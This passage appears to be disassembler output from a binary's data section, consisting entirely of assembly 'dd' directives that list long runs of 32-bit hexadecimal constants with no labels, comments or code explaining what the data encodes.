		dd 0E1E51C1Ch, 558872C9h, 2080BC8Fh, 0DF2EB92Fh, 2448E58h
		dd 6B13A265h, 77007CCFh, 0DFF0D990h, 0A30070B7h, 35321297h
		dd 0F24078h, 1627299Fh,	0A5857492h, 0FCE5FE00h,	4638B5C8h
		dd 6CBC139Dh, 0AB9C0098h, 6E7DDA25h, 1C166AF0h,	288008B5h
		dd 13EE386Bh, 991461Eh,	9000BA85h, 965AA433h, 0DCC8D304h
		dd 38A0722Eh, 2A991D0Ah, 0A4390029h, 75B5F588h,	89F64E02h
		dd 0F2B31D2Dh, 0B0C00130h, 334A529Ah, 8E73F8BFh, 6100FCB2h
		dd 5F1A5513h, 2CA43C0Ch, 8B98A55Bh, 0B0707C16h,	0A9901403h
		dd 889EEDB1h, 73307B0Ch, 7E230529h, 236A1CEh, 0CFC905E0h
		dd 547F2FC0h, 24D00E00h, 894186C1h, 91C20018h, 0F1CC9A94h
		dd 0BE03F51Bh, 57667053h, 0F4C4BAE0h, 1423EBCh,	4F63A480h
		dd 0A0D45A52h, 327703E4h, 5C2242BCh, 0BB487000h, 0CDDF6DAh
		dd 20A23E5Dh, 0DE41B307h, 0FFA55005h, 0E90EA189h, 80268217h
		dd 0AC9EFE95h, 0D5D007C4h, 80611043h, 894063Eh,	7800F498h
		dd 412477Ch, 0AC9DCD9h,	0E2CDB824h, 0D2420094h,	0C14FC233h
		dd 51329B00h, 2AD739D1h, 305A01FDh, 16BD4DADh, 14003BE4h
		dd 0C9CC753Eh, 0BF810163h, 0EF29528Ch, 0A7DC4115h, 706C1Ch
		dd 0D016CCA5h, 1D415B17h, 0C7AB3361h, 7739E0F1h, 8FC9E065h
		dd 37046E68h, 0ABE2F4DFh, 1C36C88h, 0B212C5CFh,	30F6CD24h
		dd 0B0E8094Ch, 205A7B00h, 68851EE3h, 250BE2E4h,	0F012EEC4h
		dd 4704F476h, 0C94E011h, 7D1DCA80h, 0E4807441h,	76530790h
		dd 0D4AAA768h, 0E45480E0h, 4C002AC7h, 0DDBA6065h, 1CBF0710h
		dd 0C07D73F5h, 0D2E6C1FDh, 0F42E6ADAh, 0E3088CB4h, 0ABFA8045h
		dd 0FB82E56h, 50E49D30h, 0E02D6D73h, 0B1610B63h, 0D081773Fh
		dd 60E8EAE7h, 660078AEh, 1D0DF4A0h, 646FABh, 0F3FE387Ah
		dd 8E5B3BB6h, 306A6003h, 0FA581306h, 750C413Eh,	0F63DC020h
		dd 18D7F8FEh, 0F0C52F5Fh, 9800CEA5h, 8E806E4Bh,	9D0B633h
		dd 0BF3A4222h, 1791CC00h, 900EEB0h, 8E69E7A7h, 5EFF294h
		dd 0E8DE402h, 9F708081h, 2F009EB4h, 82F50A1Bh, 7738C4h
		dd 19BA18A8h, 7B1AD361h, 9005BB8h, 8F022C9Fh, 3BB760A7h
		dd 0C8DBC9CFh, 0E0085B4h, 0D3BF8096h, 92FEEC9Fh, 0B0977610h
		dd 753404B0h, 0A4C0067Ch, 0DB774394h, 2977E176h, 1800C6FEh
		dd 477E787Fh, 7F2050Fh,	647255BBh, 0D5DF602Eh, 1451A222h
		dd 191040D0h, 0F6A1A0E6h, 9B478EDh, 7852B1EBh, 16277954h
		dd 607C23CBh, 1188F46Ch, 610CD607h, 0EB20427Dh,	0F2AFB3F0h
		dd 9F220007h, 0BD6B990Dh, 15000B2Eh, 0D0A93DC4h, 0AA53816h
		dd 0CFEEFE59h, 0D23500F8h, 0F9DE3AFCh, 233EC90Ch, 4B61F062h
		dd 2DA409C2h, 72E9B4E0h, 834B703Ah, 1052D4E5h, 0F2600E84h
		dd 0C14E5ED0h, 5532C6C0h, 45206007h, 0CA4203E7h, 0FE9019CDh
		dd 8CCC2100h, 33A994Bh,	88281C29h, 0DDBF07DCh, 217F21D5h
		dd 9A5420A5h, 1E74148h,	0FAF6BBC4h, 0A2E41A69h,	22700E3Dh
		dd 68C0E994h, 90131112h, 0B9C220E2h, 709CCF37h,	30E30034h
		dd 1953872Eh, 400382F8h, 0E4B5607Bh, 72A362h, 0F065E2C0h
		dd 0F2C007C8h, 1928C893h, 24FA4A4Ch, 0E50FC896h, 215D62A5h
		dd 0AB40607Dh, 0A8E20080h, 0A43BDBF0h, 0D49AB8A9h, 0D488A04Ah
		dd 0A21000DFh, 1FA19E83h, 7E60258Eh, 6AA06F78h,	9410B5B2h
		dd 0D8BE155Ah, 0C7101440h, 0E021D2Eh, 0EF4EED9h, 54E5B81Ah
		dd 598500D0h, 6F4CD4A1h, 9799ED00h, 78A8EE74h, 3AEA7143h
		dd 0CC81CDC0h, 9A372FCAh, 0E31AD435h, 0AF6CB302h, 7EE91EBDh
		dd 89200C4h, 19914542h,	9DFC2F07h, 0CC60B67Bh, 77A208Bh
		dd 0F9EF2BB0h, 6D1711BAh, 51922078h, 5DE2FE0Eh,	3D8BE083h
		dd 4C30BF1Bh, 0BC07DF73h, 2F76B134h, 0ECC02C49h, 0CE00EA17h
		dd 71B6EDE1h, 3F285C7Fh, 95030ADEh, 2399C38h, 74A92DC8h
		dd 12D1930Eh, 7F5F40D0h, 90EA7E47h, 7854008Bh, 21C32555h
		dd 0E828CC0Ch, 440EB859h, 82C6FB6Dh, 0EB3696C0h, 0B84EE040h
		dd 0D7F7031Bh, 0B7ED637Dh, 0CAA62FA0h, 0BF1F20DEh, 53C46600h
		dd 0E04514h, 0BBD6DAC8h, 350FBA8Ch, 9660A400h, 190E1264h
		dd 9C440076h, 5DA7F35Eh, 0EF0A978Eh, 38981BE2h,	0B539F503h
		dd 8EF0006Eh, 55D8EF7Fh, 0A0C19A6Ch, 1B9D4CB9h,	0C08C5424h
		dd 548E1220h, 0CA0A24Dh, 28A03496h, 0FB075552h,	2766A4BFh
		dd 0D5C89BE0h, 0C1E79AFh, 35691BDFh, 9E00CE98h,	471753C0h
		dd 1758841h, 72D4B451h,	0F0CF9181h, 0E50124F4h,	0B1B8A77Eh
		dd 9CF05E82h, 3AD5C65h,	2CB2900h, 795A85AEh, 0DE7D7E00h
		dd 0B54EA432h, 1DCA0093h, 52A6B6D2h, 74012E99h,	0B32C875Bh
		dd 0BFD4B772h, 57E3Dh, 0C2982A1h, 8C36DEE2h, 0E4A49517h
		dd 66148C40h, 0F81101C2h, 45EF00BFh, 16D6F539h,	50776F5Dh
		dd 885829C0h, 9864D7B2h, 6C4C0195h, 0DECAB967h,	0BA9C4868h
		dd 63651301h, 44DCB798h, 2DCED0h, 0DD017FFBh, 3446943Ch
		dd 17732301h, 1F72F77Eh, 4F5F0880h, 46B4C09Ah, 8030056Eh
		dd 0EFC81450h, 1C944881h, 0F815DB00h, 9A0F2D8Bh, 0AF2ECE00h
		dd 0C5BD0DB2h, 0B710C099h, 10C27CBEh, 58CF2700h, 6451778Ch
		dd 890C05Bh, 0CF4BA61h,	0CB6BD500h, 9C4CD774h, 5EC002A8h
		dd 69AF9B47h, 7A38848h,	8DCD3400h, 88833ABDh, 0E7E10179h
		dd 9958F616h, 0D6298077h, 0F50F5E53h, 0C0F1518Eh, 1AFE2F0h
		dd 0F4D9AA2Dh, 414C1019h, 5057A4A0h, 5D9597A4h,	99886601h
		dd 0C46BFC72h, 51930E4h, 0B9DF5EE4h, 0CA84024h,	0E16ED380h
		dd 0FE86EE00h, 1442947Bh
		dd 83E30784h, 0B0E78562h, 0CABF5EA5h, 8154D748h, 9DD2566h
		dd 19D1B821h, 4C6EF4h, 0D2C6DFB8h, 0E8E17F6Fh, 0F51AFF00h
		dd 9BF6AA2h, 0FBB3025h,	54DE9941h, 8D8ADF00h, 0D6685B86h
		dd 4B920B4Ch, 3A004A14h, 945DA6F2h, 58CC4904h, 0C8A8139Ah
		dd 0C045C21Ch, 0B3C9E761h, 41033EA7h, 5766520h,	0CBE90C5h
		dd 6CDC00E1h, 1526D9F6h, 0A626533Ch, 3030613Eh,	12CBF5D2h
		dd 0E285855h, 5D00CC62h, 7FD45690h, 0D5446C00h,	70BB0141h
		dd 0C4B93093h, 9139BE69h, 11D0E530h, 0E7197Ah, 99F9C2CDh
		dd 3C064D3Fh, 34CB390Bh, 0D5B4806Fh, 0B3BDEDh, 7512F3EAh
		dd 22062521h, 453C2900h, 8D7335Bh, 0C3909Ah, 255453D5h
		dd 131E9DDCh, 5EEC5518h, 16D2B8h, 0FD7C7E15h, 0B2E7D11Ah
		dd 36E6A509h, 8FFC83ACh, 492CE861h, 0C4790033h,	0BDA5856Ah
		dd 8D1F27E9h, 0D10C8326h, 2A3F19C0h, 3084BC51h,	0B3088EDCh
		dd 0C590213Ch, 0E4847C03h, 0E07FD771h, 0DF3F3330h, 8439920h
		dd 0C52CE0A7h, 93206400h, 0B0785E0Fh, 0BC8A0092h, 41867163h
		dd 57843DCh, 0B06D1138h, 0E9233938h, 0F330FB2Eh, 0DD6C0044h
		dd 0CEC8A1F9h, 0E5EC2B77h, 7CC59000h, 610754CFh, 22BD3AD1h
		dd 29AAA900h, 5B82F22Ch, 86834B03h, 0F8F12B02h,	0C0F52A5Eh
		dd 10B43508h, 0C60EA8BEh, 80A07EF6h, 500A5A03h,	4B841FF9h
		dd 0A1820F65h, 5180428Bh, 442FF7D2h, 9541510Eh,	30058750h
		dd 87F56280h, 0FAA5000Bh, 2CFB93BEh, 0D8009BB7h, 4F754B07h
		dd 346BD4Dh, 303210C6h,	76C1F6D2h, 0A22EDC5Fh, 1D3A6278h
		dd 9C3060A1h, 0F0845061h, 72BDE8D7h, 5C03003Fh,	60FB149Dh
		dd 64A4137Bh, 0F05D048Fh, 1361841Fh, 72B75C10h,	28F2F0h
		dd 324EA43Dh, 22BB2465h, 8FF95472h, 0E0E01539h,	0C1F65C2Dh
		dd 0E674330Fh, 21000908h, 4FA4D89Fh, 370883h, 7E9CA6BDh
		dd 213AE87Dh, 31F0EE06h, 78161DFh, 0B983805Fh, 6A5A026h
		dd 2501FD60h, 0A6E62A64h, 288C2BB0h, 0E0312403h, 5CF90700h
		dd 8A77842h, 0E3B0C053h, 6445D76Ch, 0BFA42406h,	71807AEh
		dd 0ACDFCBD1h, 581806DEh, 0A9E61F30h, 1CB712DBh, 3ABE9Ah
		dd 7AA7E7F9h, 7001E6B5h, 46B158E2h, 45DC0161h, 298A05Dh
		dd 32BA03C1h, 86A4E912h, 0F42463C8h, 33D551C0h,	0C204200Eh
		dd 285C0168h, 0EEADF500h, 18F66068h, 0BC8BD547h, 9B0D9C3h
		dd 48D7C915h, 0AAC9AFCh, 638BF89Eh, 0C6AD80D0h,	978C445h
		dd 894E3C30h, 0F09B5E0Ch, 4261C024h, 0ABC7E566h, 0A3B05950h
		dd 801DB4A9h, 0E54EE721h, 761E89h, 0DF464B18h, 9A975B86h
		dd 54F1F228h, 10062215h, 0A93DB4h, 0DF2531B6h, 6749E2Dh
		dd 58EE80CEh, 811FC806h, 2070C76Fh, 4A9BE0Ch, 0A40E80D5h
		dd 16A501DCh, 22005E9Eh, 24900332h, 0BD4D109h, 722C0020h
		dd 0A05DDEBFh, 3C9FABD4h, 8C540AF7h, 0D6111E58h, 20021B96h
		dd 8AC42AC0h, 0BEA96460h, 3EA3238h, 269167E2h, 8304F2Bh
		dd 976B4192h, 0B3230A31h, 37073FDh, 0F3A0264Bh,	0DCD2A029h
		dd 4C4F9832h, 0A4DF0270h, 0C20E5C2Ch, 0B010EB19h, 0B600A4D7h
		dd 5ABFFB4Bh, 70C066F8h, 0D521C77Eh, 61FE267Bh,	843D9000h
		dd 3BBB1BB5h, 1DB7277h,	5A47707Dh, 9163C1D6h, 0DD805580h
		dd 0DE5C2EA4h, 0EE22C143h, 0A4D5B200h, 0B9F5EF26h, 19DF6028h
		dd 0F8731B42h, 0E2C21D12h, 0B414500Ah, 0EA717021h, 201CD18h
		dd 7E3DFD5Bh, 3450F169h, 119D107h, 0AA3B0EC5h, 2047036Ch
		dd 3D4817BCh, 8C1EFC50h, 9092D100h, 7E266829h, 8BAC1553h
		dd 0ED03E8A8h, 3685B3EBh, 32244FC8h, 6890EF32h,	0E5703099h
		dd 49ABB511h, 0E9801888h, 9AEE558h, 98451DDEh, 3C809ABh
		dd 352080Eh, 0E5F7C1F8h, 0C3C088E4h, 2CDB6C26h,	0D602C587h
		dd 86902029h, 78AFB9BEh, 0DA7CF0h, 9881D784h, 4E2797EBh
		dd 2AD2F00h, 5821C008h,	0B0D81D5Eh, 0D44B809Ch,	910FE303h
		dd 3D40C0C4h, 0AAE56730h, 1151AB23h, 4FE40016h,	1DAD07E5h
		dd 22BA1592h, 0DB80EC5Bh, 0EE5C38A4h, 0B4C0C142h, 633EA4D3h
		dd 0DC0757FEh, 0F43B2E13h, 62F58028h, 0A4347CA5h, 2003B5E8h
		dd 23C28FD0h, 57B290ECh, 0CCE41347h, 0E67C5C97h, 0F4E108E4h
		dd 8BC50F02h, 54D8A0B7h, 0C6B20Eh, 0DDCAA12Ah, 265BAD4Ah
		dd 2808C204h, 0CC760CEh, 0A118E0ACh, 0E4589584h, 0A9E5096Ch
		dd 181C69ABh, 84A054FCh, 7E00F127h, 0CCAEC0D8h,	0C0915A48h
		dd 0D6101181h, 5001CBDCh, 8815F6A4h, 2AFCE455h,	0C9D10097h
		dd 4D54C058h, 44495B01h, 5012055Ch, 8840041Fh, 0F7537AB1h
		dd 410F1D9Fh, 0ECB380CBh, 0CE1455B8h, 31B0BF02h, 905F017Bh
		dd 0F65DCA0h, 246F07Fh,	77144092h, 5A3DEFF4h, 0EA6C0A0Eh
		dd 134A924h, 5038E5CCh,	0E4AF7A30h, 28950EBDh, 0DF297F64h
		dd 8160668Eh, 0FA2008CDh, 2510A760h, 9FCEE22h, 0FEE0364Bh
		dd 0B47D5C01h, 354201Ah, 0B5581364h, 1D882C8Eh,	3E3A18C0h
		dd 0FC040009h, 22E88237h, 0FB612807h, 0CB6F7F68h, 0D80EF835h
		dd 0B6CC1C88h, 197B02FEh, 528CD44h, 0D11C9CA0h,	0B70033A8h
		dd 89212B08h, 69EDAA2h,	9D04EEC2h, 974670ACh, 38D35224h
		dd 113879A9h, 5AE3011Bh, 0B908D8E5h, 70597DC4h,	6E00F902h
		dd 26033ACDh, 6221E2ACh, 88CCB8EBh, 0E67A09B4h,	0BB6C0Bh
		dd 4D4BE1h, 0E46325Ah, 0A9687212h, 16D5F427h, 0A025926h
		dd 7F6C65AAh, 0A71CE0C8h, 2708D3AFh, 27C2E704h,	0E2A377D4h
		dd 6CC125E2h, 12488814h, 65AD62D6h, 48B02441h, 6A88F224h
		dd 239FEC5h, 8559D2ABh,	0A4A0F828h, 0E4F2AD4Eh,	0CA4D7700h
		dd 0C6C4FB9h, 0FFC27932h, 924690ECh, 0C0521C74h, 122310AAh
		dd 2E1A30E9h, 73408281h, 0B9D2008Ah, 61C2DC83h,	0A15FAEE6h
		dd 0C5477E8Ch, 0E84A9820h, 60C000D4h, 404DDAABh, 673D33E6h
		dd 2890C832h, 0AF00501Fh, 97ABCA53h, 0F284F5E6h, 185012D2h
		dd 0DA9C05A9h, 0C8848BBAh, 28CFC009h, 0FC015CC7h, 0E1A7E4D1h
		dd 4242B3Bh, 4C4200ECh,	0E22D513Dh, 15285983h, 9550AC7Eh
		dd 0E0ACD3BCh, 5265AC04h, 6738B87Fh, 3165C40Ah,	53408828h
		dd 3DB283F8h, 0D500F1F7h, 0BEDE014Bh, 4A047A59h, 8FA2E5DAh
		dd 0C6FC60A4h, 24BA8B49h, 927AAF00h, 1FB81969h,	0C4E73F86h
		dd 0E431B930h, 0BA1CDCCEh, 0ACC068A4h, 8143C973h, 128300Dh
		dd 6FF42981h, 94837A0Fh, 0B093609Ah, 74784E6h, 92A275ABh
		dd 77EDB0BEh, 512EFBA7h, 0AE91A4DFh, 0E024328Eh, 8B1085E2h
		dd 996905A4h, 28C73C31h, 0D6091FA4h, 9C88FFD8h,	0B57DAF87h
		dd 56004873h, 0FFEEC4F1h, 96BAD525h, 0EF465C1Ch, 9049D107h
		dd 8387117Dh, 34420C1h,	0B7247098h, 0F219C472h,	6091EF40h
		dd 0A4E18059h, 87FE5C32h, 0A4D99E00h, 0CA54FDCh, 5073D37Ah
		dd 0BF127850h, 0C80260EAh, 645C017Eh, 4B020334h, 0C3B21F7Fh
		dd 10178903h, 2EC4EA20h, 1834A310h, 31056190h, 0F4C1292Ah
		dd 1F877F18h, 97ED2C1h,	0B55A2A7Dh, 0D954FC48h,	426F9D00h
		dd 9A4AF815h, 98A732E5h, 20C40321h, 0ECED0900h,	9BC1343Bh
		dd 67F0082h, 84A21AD9h,	0D07E7E2h, 0A4ABD123h, 0D00C2EE5h
		dd 5C63F85Ah, 0E81070D5h, 5E010CEAh, 0C077D933h, 3D02D470h
		dd 0E0FF5A19h, 0AD1FBE95h, 0AB052DD3h, 30CEEE61h, 0F5C10188h
		dd 56E59FF3h, 7C08CC2Ch, 7812412Fh, 0DB34430h, 540B5945h
		dd 0D500B5B8h, 5A4158Ch, 395AA541h, 70E40A9Fh, 0F74C8903h
		dd 3D521180h, 3C7CAA0Eh
		dd 0B6BC098h, 2C4F7788h, 43A82562h, 4099AB90h, 670101EBh
		dd 107C182Dh, 518D836h,	0C7A2CCDDh, 9C02D012h, 50687301h
		dd 0D1509950h, 287A181Eh, 28BB363h, 9FDF41DDh, 0C4643831h
		dd 72205F12h, 9DC1A0C4h, 8882A348h, 8DE22783h, 0F0022C42h
		dd 0E3051304h, 110CD86Fh, 5B99293Ch, 39B9C80Fh,	0DF4E274h
		dd 917045B2h, 26A83A3Bh, 0C8C0A0D7h, 467F6665h,	215930D8h
		dd 165C06Bh, 1B1ED785h,	60C49BC6h, 0DD62A51Ch, 0CBA6E661h
		dd 60C1C050h, 52D80BD5h, 2400C29Ah, 6803AD38h, 267AF090h
		dd 0A040A956h, 768908C2h, 0D5DAE483h, 383C9479h, 0E048BA40h
		dd 1384488Ch, 3C8B574Ah, 0DAC0AA88h, 0BDA6C3h, 3073F05Eh
		dd 53D4E307h, 31842496h, 385403E2h, 0F0C63849h,	0C0467846h
		dd 0DE322C02h, 0AD3147E2h, 319B1F10h, 0FD8E0700h, 168F2D57h
		dd 26AB09B7h, 1C219120h, 0DA90706Fh, 5C40E07h, 0C40B1109h
		dd 1691E817h, 847B5D84h, 4A9C4140h, 3C7ABF5Ah, 97848BCh
		dd 3BCF377h, 948B54h, 0B86F35A9h, 598C2D2Fh, 25F66C00h
		dd 0F155BD7Fh, 0BA402E6h, 4B0377B6h, 0F487C85Ah, 51605644h
		dd 29E02124h, 96F93A3Bh, 0DC201F79h, 754A487Eh,	0B9D60113h
		dd 311E564h, 886C24FDh,	0F209C87Eh, 80C2384Bh, 68ED4EFDh
		dd 7A4C26DBh, 743C268Ch, 1D130146h, 0E6FCC87Ah,	8DA5FC07h
		dd 0C7D09813h, 123579B1h, 533806AEh, 832004E8h,	4CF0BB0h
		dd 3960C3DCh, 0E210DB32h, 0A6C8913Fh, 32402080h, 59A5597h
		dd 90C9EBA9h, 217CC667h, 5E028E06h, 0E610AB1Eh,	0C4087106h
		dd 0E2D4DA78h, 0F9CC00BCh, 8885925Eh, 110802C5h, 4E02CA87h
		dd 0C1A0CC43h, 0E9C0F3ABh, 14A5F20h, 427090A4h,	9A5A2525h
		dd 64F4C790h, 0A0C76008h, 8C3C0124h, 4F9963B4h,	0D320389Dh
		dd 1CC8388Ah, 29E4E8C0h, 0D59638C6h, 0FC2388D1h, 75C0E08h
		dd 0AF7B6C28h, 53D0140h, 0B9D2D3D1h, 3C24B47Eh,	0E5CFA4Dh
		dd 9884E8h, 2E23FE3Fh, 944D507Dh, 1501112h, 68F52679h
		dd 8CC86C24h, 0FC9E9C20h, 59FC0A40h, 2B6F4BCh, 80DDAAAh
		dd 94D84220h, 0B7E21896h, 2851129Bh, 7918F879h,	20097D07h
		dd 1B0A84Dh, 4B6C3DEh, 0E63035F2h, 0C10888B0h, 13F88952h
		dd 488424E0h, 1F8880CEh, 28AE3BC0h, 168C00D4h, 0FB0652CDh
		dd 189689C0h, 88ADE68Ah, 0C7B4E340h, 2570B828h,	5898317Ah
		dd 8D403F6Fh, 7CD013E0h, 7250C07Bh, 762842BFh, 0DAF6ECDEh
		dd 7C9D3506h, 8040EE1Fh, 5D950398h, 0FC21E497h,	9BBBF902h
		dd 7444059h, 90B8ACC5h,	997C8098h, 5AB20C3Ch, 0E2693EA7h
		dd 2660EB07h, 0EE432A88h, 0CF35B858h, 0B70C002Fh, 0E941CC4Dh
		dd 4800A234h, 0EA74635Ah, 7B195DA1h, 0F6AB0E61h, 0D3803A88h
		dd 0DB08DCB5h, 53BF1E07h, 46F76E5h, 0C480676Fh,	9BF62Bh
		dd 5FBDCBD6h, 0A1C2748Dh, 7B805500h, 0FACF783Fh, 9FAC0043h
		dd 835134D0h, 0DB00337Dh, 31611B8Ch, 2D1DA56Ch,	1490D125h
		dd 0D048DE3Ch, 57DF121Eh, 0A78814CBh, 278646C0h, 0B090018h
		dd 0CD43DA94h, 7D3D5A4Bh, 0ADD4823Ch, 4102DCDEh, 5422A8ACh
		dd 0CF55BF1h, 0FAC279ACh, 0ED8940Ah, 518BA4E3h,	8144AC00h
		dd 3D885602h, 107670h, 0B4260B4Ch, 0BF744F24h, 6252D500h
		dd 4157D84Eh, 0AAAB1864h, 22BB4044h, 804C504Dh,	5C39A4DCh
		dd 58A8B4D6h, 0A400D4B3h, 29240571h, 90C241ABh,	6F8010D4h
		dd 68C02EBFh, 11E01D49h, 165680ADh, 2EA70783h, 0A5C0575Dh
		dd 0A95BD498h, 0C7B9881h, 0BFC84AABh, 0C54618B2h, 0D9323302h
		dd 0A7314FE2h, 319A1E10h, 1325C03h, 0A81684EBh,	7B8C6280h
		dd 0BABF1518h, 0D408B80Bh, 3404338Fh, 4A25F81h,	0CF4EDF1h
		dd 76831DA5h, 12E7C7EFh, 20A6A4AEh, 247A97F4h, 6F8F1EEh
		dd 704232ABh, 202F3C26h, 5DB88C83h, 0E783E834h,	0D76E1C09h
		dd 49A8046h, 0E431D4D5h, 0E4915569h, 711A1CE8h,	4085DDE2h
		dd 0D54F5087h, 210338DDh, 0F29AA3C9h, 88409D8Bh, 44C143C4h
		dd 389FC0Ah, 67DFB31h, 9F98EAE3h, 302E8B82h, 0A01FB098h
		dd 0B0A758A0h, 8212C123h, 0C07A0042h, 8070897Eh, 5A444B36h
		dd 9A4A2D83h, 51A5C090h, 59A11109h, 2B33008Eh, 0B14686h
		dd 8165A13h, 910FE2F3h,	1AD1B899h, 0D3079D18h, 0AB7AD093h
		dd 27F074F3h, 88877DB8h, 0C8898D28h, 1139CE80h,	17E0610h
		dd 4F491471h, 2E50408Ah, 93466F27h, 3E7ED00h, 0ACC87B59h
		dd 0F474A70h, 519828D0h, 0A324768Fh, 0BC00A5F1h, 5B20131Eh
		dd 0C0A702C1h, 4025A436h, 0A6E6D860h, 8FFA30A3h, 0A8100C59h
		dd 4B6CE381h, 48443D24h, 1AF2354h, 0E2DF322Dh, 88AD189Fh
		dd 4FB89424h, 398D7B00h, 0BB63FB73h, 22E1C08Bh,	879E7D27h
		dd 285F4D05h, 0BCB29C72h, 882B901Dh, 5424F6A0h,	0D90404ADh
		dd 7065B660h, 96687F25h, 0AE690044h, 6A4FA665h,	8AE2A40Ch
		dd 0F57E609Ah, 60DFDE0Ah, 5E006828h, 2DCF6FE9h,	0BEC0BE25h
		dd 0A7080200h, 0BA7EFB85h, 30039726h, 3F934674h, 840502C6h
		dd 56303AAAh, 5700DCF4h, 0DA542B02h, 4EBC1D33h,	24282010h
		dd 0BF1F71E5h, 6CC28CAFh, 542BB564h, 0EA465E78h, 0BA298000h
		dd 26249C8h, 665C1072h,	0DF2381D8h, 7D00EF70h, 7A76636Fh
		dd 0F04C76F5h, 0CCC235h, 3086FA19h, 0C091334Eh,	9DE7D22h
		dd 0F13AA7A4h, 5F785083h, 26984B90h, 0AC2CD49Ch, 429D8831h
		dd 11CC9DD2h, 0F0B680A7h, 0E8CCA1CEh, 42B902A2h, 64F21834h
		dd 4DFFF460h, 2FA75C80h, 240163EEh, 0BB2C7302h,	0C47E24C9h
		dd 0F91A9706h, 0E34B03A8h, 240A9F5Bh, 142B302Fh, 0E6D84408h
		dd 91A5A732h, 0A0667Eh,	166A09C3h, 0E3CCD2D8h, 0C7B6D100h
		dd 933F8DFDh, 3C002E4h,	0A4E59BC6h, 0FFF220DAh,	0D001FC9Ah
		dd 36EA1C78h, 6AC4E260h, 99EF001Dh, 65A9DAFEh, 713A16Bh
		dd 808487FFh, 0A8239C2Fh, 9C935600h, 16E1BCA2h,	94B1E5B0h
		dd 0F93784B8h, 3D51378h, 0D4E2F090h, 0A84350F3h, 8D49485h
		dd 8B942F5Ah, 26840020h, 1B3D7299h, 0C08104A3h,	0A48AD560h
		dd 54017D50h, 0FCC76F9Ah, 4BC5ADABh, 205B8878h,	0E3C53780h
		dd 71563Eh, 0D2FD74A5h,	0E9646FF6h, 8CC21420h, 0DC322E02h
		dd 799097E2h, 95254034h, 0CE38E731h, 0FC6682F9h, 0C1EF18D2h
		dd 4C2DE5A4h, 0F6802DC9h, 9FAD36DBh, 0BC7A6526h, 4E11C8CAh
		dd 33E2DA8Fh, 0EC31E65Ch, 0A512B510h, 28293600h, 7E53E38Ah
		dd 778804C5h, 0B2256237h, 0D5D81044h, 0BF3B7CAh, 0B0C5607Fh
		dd 6504649Eh, 6C834AF9h, 30BCCB6h, 9FCFDCE8h, 71F4471Dh
		dd 1C498E7Ch, 6B48408Bh, 2990277h, 3633D38Eh, 0F45EDF08h
		dd 0D07F1402h, 446C6712h, 0A9B860EEh, 88D004E2h, 0B5C3961Fh
		dd 25CE1BCh, 270B5A8h, 0AEE64B31h, 0C0638C4h, 92E5B981h
		dd 9C3A2068h, 9B0E0300h, 0D3D02C2h, 74993Ch, 0C95DD993h
		dd 0BD2F9557h, 5B084D3h, 27A7B64Eh, 0D6AA0C2h, 8E4CC566h
		dd 0C4410272h, 42AA873Ch, 5D8F048h, 302A7D83h, 6044C07Bh
		dd 0BF1E3267h, 8582D3ADh, 907DC102h, 92513D88h,	0E0680124h
		dd 1B4BD8C7h, 2306E8C5h, 2E829800h, 0EA392486h,	4AD6EC4Ah
		dd 237C3F36h, 0C5AD00A8h, 0D07AC1BDh, 3BD4C33Bh, 48F180CDh
		dd 1529A783h, 5A472E7Ch, 79020434h, 7BF50023h, 3F6F88C9h
		dd 588F87h, 0B8C16ECh, 5006FB56h, 4C619042h, 3C684947h
		dd 8C8FACCCh, 15875E8h,	6033CC58h, 88CCB413h, 0C525E362h
		dd 671FE468h, 149213E0h
		dd 15072C5h, 0B2EBD55Bh, 7C462783h, 7DAB1D54h, 0F6AFFCC2h
		dd 308C0EDh, 3E49C24h, 0D55D5A0Fh, 3300B178h, 0A5F28F74h
		dd 1E0A28DDh, 4E36AE93h, 0C05316A6h, 0F3322234h, 0C6A75909h
		dd 0A4D40610h, 0DEAD1240h, 0E4A8F074h, 0F882F44Eh, 300F8E3h
		dd 0E0EE81D5h, 0F91F28C5h, 0DF0060B7h, 86A43712h, 1E4898F3h
		dd 180E81C5h, 2FA54801h, 0F64B2D04h, 30BDA3E5h,	0E1B47E00h
		dd 1FB9FA2h, 30954C0Fh,	0A016E178h, 0BC6628DEh,	0A3D195F0h
		dd 5B0D661Eh, 0FE6E3942h, 645227h, 1E086104h, 96A0FBC7h
		dd 2B8A990Fh, 0C61D805Ch, 5026277Ch, 4B3190B7h,	0C2D4273Ch
		dd 0A2008FBAh, 24E62B8Bh, 0FC284DA6h, 0B820BB26h, 588EB23Fh
		dd 5E9076C6h, 0A5009946h, 76D5CD93h, 982628C9h,	5C0E9881h
		dd 0A8C177B7h, 0B2142B06h, 0F4EDF1D8h, 0DA00790Ch, 0E17B47Dh
		dd 10E234D0h, 4527AA4h,	9E0317Bh, 40681F49h, 840B5F81h
		dd 44B9496Dh, 0F2A7223Ch, 0DE68CD04h, 1082E9ACh, 88509D27h
		dd 8460F554h, 4E31A6E0h, 4AEC9041h, 0B092263Ch,	0EF733600h
		dd 0BAC0B14Bh, 0CA12072Eh, 291E777Ch, 2B31D802h, 8837F490h
		dd 0C49E18B8h, 5C8BCA17h, 30F4F8C4h, 9041F779h,	0E4E75C6Ah
		dd 35CA2B00h, 59F19ABFh, 7D4A9200h, 94B946C8h, 0A921673Ch
		dd 821C31DFh, 5AA020AAh, 9C05A52Ah, 0A5A4E339h,	0EFC04910h
		dd 0A6F0EC25h, 0C841C10Bh, 2AE69D35h, 0EC23202Fh, 92625900h
		dd 12726F60h, 0A11C064Bh, 1D782798h, 8220080Eh,	2864B0h
		dd 606FAC66h, 505C979Fh, 0CEB62500h, 48163D4Ah,	20B8B0C4h
		dd 1F305A4Ch, 3FB679DBh, 0FB053E3Bh, 187FEA82h,	84C64D4Bh
		dd 0F7786403h, 0C8922D48h, 2B46AD3h, 0C9D8D1D0h, 507036DCh
		dd 0AF70080Ah, 61FD894h, 8CA534D6h, 0EFBC043Ch,	0E134038Ch
		dd 8F7F8160h, 4DF51927h, 0ECC5C0C4h, 0E174677Ch, 5BDD8C02h
		dd 0E2260EBFh, 9A8E488h, 343B43E7h, 0DF00A650h,	0C95FA582h
		dd 0F88EB15Bh, 86282631h, 5C202586h, 80B8584Fh,	892D9D07h
		dd 85896F7Ch, 4882DF54h, 0D47F2028h, 0CB87E23h,	0C5DD6904h
		dd 54E303A9h, 40B7A627h, 473D600h, 35304ADFh, 8C9F338h
		dd 8B891414h, 835C22B6h, 0F7CB6298h, 9EDB9581h,	727FF09Ch
		dd 1EE429FDh, 0D84F6FBh, 6CE4B0E6h, 1C3DFD7Eh, 3E333F03h
		dd 87F0ECF7h, 3130AB03h, 475E293Ah, 0B0B8C5h, 88C0D521h
